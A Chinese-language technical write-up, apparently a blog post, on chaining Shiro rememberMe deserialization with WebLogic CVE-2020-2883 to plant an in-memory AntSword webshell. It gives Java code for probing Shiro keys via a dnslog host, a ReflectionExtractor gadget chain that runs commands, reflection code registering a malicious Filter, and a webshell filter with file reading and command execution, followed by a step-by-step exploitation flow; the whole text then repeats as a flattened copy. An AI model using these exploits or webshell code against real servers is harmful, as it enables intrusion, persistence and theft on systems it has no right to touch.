使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell
字数 1227 2025-08-20 18:17:31

WebLogic CVE-2020-2883配合Shiro rememberMe反序列化注入蚁剑Shell技术分析

技术背景

本文详细分析如何利用WebLogic CVE-2020-2883漏洞配合Shiro rememberMe反序列化漏洞实现一键注入蚁剑Shell的技术。该技术结合了两个漏洞的利用链,最终实现了在WebLogic服务器上植入内存WebShell。

前置知识

Shiro rememberMe反序列化漏洞

Shiro框架的rememberMe功能使用AES加密的序列化对象存储在Cookie中,攻击者可以利用已知密钥构造恶意序列化对象实现RCE。

WebLogic CVE-2020-2883漏洞

WebLogic T3协议反序列化漏洞,位于Coherence组件中,攻击者可以通过构造特殊的序列化对象触发RCE。

技术实现步骤

1. 判断Shiro正确的key

方法一:构造正确的Object

  1. 构造空的SimplePrincipalCollection对象
  2. 使用可能的key加密序列化后的对象
  3. 发送请求观察响应头:
    • key正确时不返回"rememberMe=deleteMe"
    • key错误时返回"deleteMe"
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
byte[] bytes = Serializables.serialize(simplePrincipalCollection);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);

方法二:URLDNS探测

  1. 构造URLDNS payload
  2. 使用可能的key加密序列化后的对象
  3. 发送请求观察DNSLOG是否收到请求
URLDNS urldns = new URLDNS();
Object object = urldns.getObject("http://oq287o.dnslog.cn");
byte[] buf = Serializables.serialize(object);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);

2. 构造CVE-2020-2883 gadget

利用ReflectionExtractor构造调用链:

ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", 
    new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", 
    new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", 
    new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});

ValueExtractor[] valueExtractors = new ValueExtractor[]{
    reflectionExtractor1,
    reflectionExtractor2,
    reflectionExtractor3,
};

3. WebLogic内存Shell实现

通过反射获取WebLogic内部对象并注册Filter:

// 获取当前ExecuteThread
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());

// 获取connectionHandler
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);

// 获取request对象
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);

// 获取context对象
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);

// 获取classLoader
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);

// 定义恶意Filter类
byte[] codeClass = getBytesByFile("MyAntShellFilter.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass()
    .getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);

// 注册Filter
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", 
    String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);

4. 蚁剑Filter Shell实现

关键点在于实现Filter接口并处理蚁剑的通信协议:

public class MyAntShellFilter implements Filter {
    String Pwd = "ant"; // 连接密码
    String encoder = ""; // 数据编码方式
    String cs = "UTF-8"; // 脚本自身编码

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        if (request.getParameter("size") != null) {
            // 处理蚁剑请求
            String funccode = EC(request.getParameter(Pwd) + "");
            String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
            String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
            String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
            String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
            
            // 实现文件操作、命令执行等功能
            if (funccode.equals("B")) { // 文件列表
                sb.append(FileTreeCode(pars[1]));
            } else if (funccode.equals("C")) { // 读取文件
                sb.append(ReadFileCode(pars[1]));
            } else if (funccode.equals("M")) { // 执行命令
                sb.append(ExecuteCommandCode(pars[1], pars[2]));
            }
            // ...其他功能实现
        } else {
            chain.doFilter(request, response);
        }
    }
    
    // 其他辅助方法...
}

完整利用流程

  1. 探测Shiro的rememberMe加密key
  2. 构造CVE-2020-2883的gadget,实现命令执行
  3. 通过命令执行将WebLogicEcho.class和MyAntShellFilter.class写入目标服务器
  4. 使用URLClassLoader加载WebLogicEcho.class
  5. WebLogicEcho在内存中注册蚁剑Filter Shell
  6. 使用蚁剑连接内存WebShell

注意事项

  1. WebLogic环境下获取真实路径需要使用:

    this.getClass().getClassLoader().getResource("/").getPath();
    

    而非传统的:

    request.getServletContext().getRealPath("/");
    
  2. 字节码数组过长可能导致进程崩溃,建议分段写入或使用其他加载方式

  3. 目标服务器可能有负载均衡,需要考虑多节点同步问题

参考资源

  1. WebLogic-Shiro-shell项目
  2. 宽字节安全WebLogic内存WebShell研究
  3. Shiro检测方式

总结

该技术结合了Shiro反序列化和WebLogic漏洞的利用链,实现了在WebLogic服务器上植入内存WebShell。关键点在于正确构造gadget、实现内存Shell的加载和蚁剑协议的适配。实际环境中可能遇到各种限制,需要根据具体情况调整利用方式。

WebLogic CVE-2020-2883配合Shiro rememberMe反序列化注入蚁剑Shell技术分析 技术背景 本文详细分析如何利用WebLogic CVE-2020-2883漏洞配合Shiro rememberMe反序列化漏洞实现一键注入蚁剑Shell的技术。该技术结合了两个漏洞的利用链,最终实现了在WebLogic服务器上植入内存WebShell。 前置知识 Shiro rememberMe反序列化漏洞 Shiro框架的rememberMe功能使用AES加密的序列化对象存储在Cookie中,攻击者可以利用已知密钥构造恶意序列化对象实现RCE。 WebLogic CVE-2020-2883漏洞 WebLogic T3协议反序列化漏洞,位于Coherence组件中,攻击者可以通过构造特殊的序列化对象触发RCE。 技术实现步骤 1. 判断Shiro正确的key 方法一:构造正确的Object 构造空的SimplePrincipalCollection对象 使用可能的key加密序列化后的对象 发送请求观察响应头: key正确时不返回"rememberMe=deleteMe" key错误时返回"deleteMe" 方法二:URLDNS探测 构造URLDNS payload 使用可能的key加密序列化后的对象 发送请求观察DNSLOG是否收到请求 2. 构造CVE-2020-2883 gadget 利用ReflectionExtractor构造调用链: 3. WebLogic内存Shell实现 通过反射获取WebLogic内部对象并注册Filter: 4. 蚁剑Filter Shell实现 关键点在于实现Filter接口并处理蚁剑的通信协议: 完整利用流程 探测Shiro的rememberMe加密key 构造CVE-2020-2883的gadget,实现命令执行 通过命令执行将WebLogicEcho.class和MyAntShellFilter.class写入目标服务器 使用URLClassLoader加载WebLogicEcho.class WebLogicEcho在内存中注册蚁剑Filter Shell 使用蚁剑连接内存WebShell 注意事项 WebLogic环境下获取真实路径需要使用: 而非传统的: 字节码数组过长可能导致进程崩溃,建议分段写入或使用其他加载方式 目标服务器可能有负载均衡,需要考虑多节点同步问题 参考资源 WebLogic-Shiro-shell项目 宽字节安全WebLogic内存WebShell研究 Shiro检测方式 总结 该技术结合了Shiro反序列化和WebLogic漏洞的利用链,实现了在WebLogic服务器上植入内存WebShell。关键点在于正确构造gadget、实现内存Shell的加载和蚁剑协议的适配。实际环境中可能遇到各种限制,需要根据具体情况调整利用方式。